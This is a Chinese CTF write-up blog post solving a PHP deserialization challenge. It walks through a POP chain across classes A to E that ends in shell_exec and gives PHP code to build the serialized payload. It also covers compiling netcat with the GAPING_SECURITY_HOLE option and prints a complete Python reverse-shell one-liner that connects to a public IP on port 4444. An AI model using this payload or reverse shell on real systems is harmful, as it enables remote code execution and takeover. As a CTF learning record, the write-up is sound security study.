ppppp好耶

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
error_reporting(0);
highlight_file(__FILE__);
class A
{
public $A1;
public $A2;
public function __call($name,$param)
{
if($this->{$name})
{
$A3 = $this->{$name};
$A3();
}
}
public function __get($wuhu)
{
return $this->A2[$wuhu];
}
}


class B
{
public $B1;
public $B2;
public function __destruct()
{
$this->B1->godmi();
}
}

class C
{
public $C1;
public $C2;
public $C3;
public function __invoke()
{
$this->C2 = $this->C3.$this->C1;
}
}

class D
{
public $D1;

public function FLAG()
{
echo 'DDDD';
shell_exec($this->D1);
}
}
class E
{
public $E1;
public $E2;
public function __toString()
{
$this->E1->{$this->E2}();
return "1";
}
}
$ppppp = $_POST['Troy3e'];
unserialize($ppppp);
?>

反序列化步骤

很多魔术方法,需要根据逻辑构造pop链:

这里唯一可以自动调用的是B的destruct,在php脚本结束时自动调用

1
2
3
4
public function __destruct()
{
$this->B1->godmi();
}

这里调用了一个不存在的函数:米神函数,对应的是__call方法,$name和$param对应的是调用中不存在的函数名参数。B(destruct)->A(call)

call中有一个if判断:

1
2
3
4
5
if($this->{$name})
{
$A3 = $this->{$name};
$A3();
}

调用了A中的{$name}属性,{}解释器会解释为godmi,就是调用了A中的godmi属性,而此属性不存在,对应的是

__get方法。B(destruct)->A(call)->A(get)

1
2
3
4
public function __get($wuhu)
{
return $this->A2[$wuhu];
}

$wuhu这里获取的是不存在的属性名,返回的是A2[godmi]。这里要控制的A2[godmi]关联到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public function __call($name,$param)
{
if($this->{$name})
{
$A3 = $this->{$name};
$A3();
}
}

class C
{
public $C1;
public $C2;
public $C3;
public function __invoke()
{
$this->C2 = $this->C3.$this->C1;
}
}

控制A2[godmi]便可控制A3为C的实例化,以函数方法调用C类,这里就会触发__invoke方法。而赋值操作中有一个拼接,按字符串形式处理,可以触发E的__toString方法。

B(destruct)->A(call)->A(get)->A(call)->C(invoke)->E(tostring)

1
2
3
4
5
public function __toString()
{
$this->E1->{$this->E2}();
return "1";
}

控制E1和E2,就可以调用D中的FLAG方法了!

pop:

B(destruct)->A(call)->A(call)->C(invoke)->E(tostring)->D(FLAG)->shell_exec()

构造反序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$c=new C();
$b=new B();
$a=new A();
$e=new E();
$d=new D();

$d->D1='你的命令';
$e->E1=$d;
$e->E2="FLAG";
$c->C1=$e;
$a->A2['godmi']=$c;
$b->B1=$a;

echo '<br>';
echo serialize($b);

然后就差不多了,可以命令执行了,虽说后来换成了system……

下面是我用shell_exec弹shell的过程,卡了两天才知道要用公网IP……果然还是cai……

服务器部署netcat:

翻了好几个博客总结的,用起来很丝滑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
下载源码包:wget https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz

解压安装包,tar -zxvf netcat-0.7.1.tar.gz

移动文件到/usr/local下:
mv netcat-0.7.1 /usr/local/netcat-0.7.1

重命名:
cd /usr/local
mv netcat-0.7.1 netcat

./configure --enable-DGAPING_SECURITY_HOLE

编译:make

安装:make install

环境变量暂时未配置成功,但仍可使用,此时:
sudo which nc 应可以看到 bin/nc
使用bin/nc即可使用nc命令


或者:
wget https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz
tar zxvf netcat-0.7.1.tar.gz
cd netcat-0.7.1
./configure --enable-DGAPING_SECURITY_HOLE
make
make install

image-20210326222805812

反弹shell

虽说靶机上有nc,但一直没有成功……

这里推荐:https://xz.aliyun.com/t/5768#toc-3 很详细

php也可反弹,但是是瞬间反弹……这里用的是python反弹:

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("139.224.100.60",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

远程服务器监听4444端口:

image-20210326223239023

反弹成功

image-20210326223300541

执行命令cat flag即可……

好耶!白嫖阿里云服务器真香!!🐕

It is uneasy right??!

作者

inanb

发布于

2021-03-26

更新于

2021-08-23

许可协议


:D 一言句子获取中...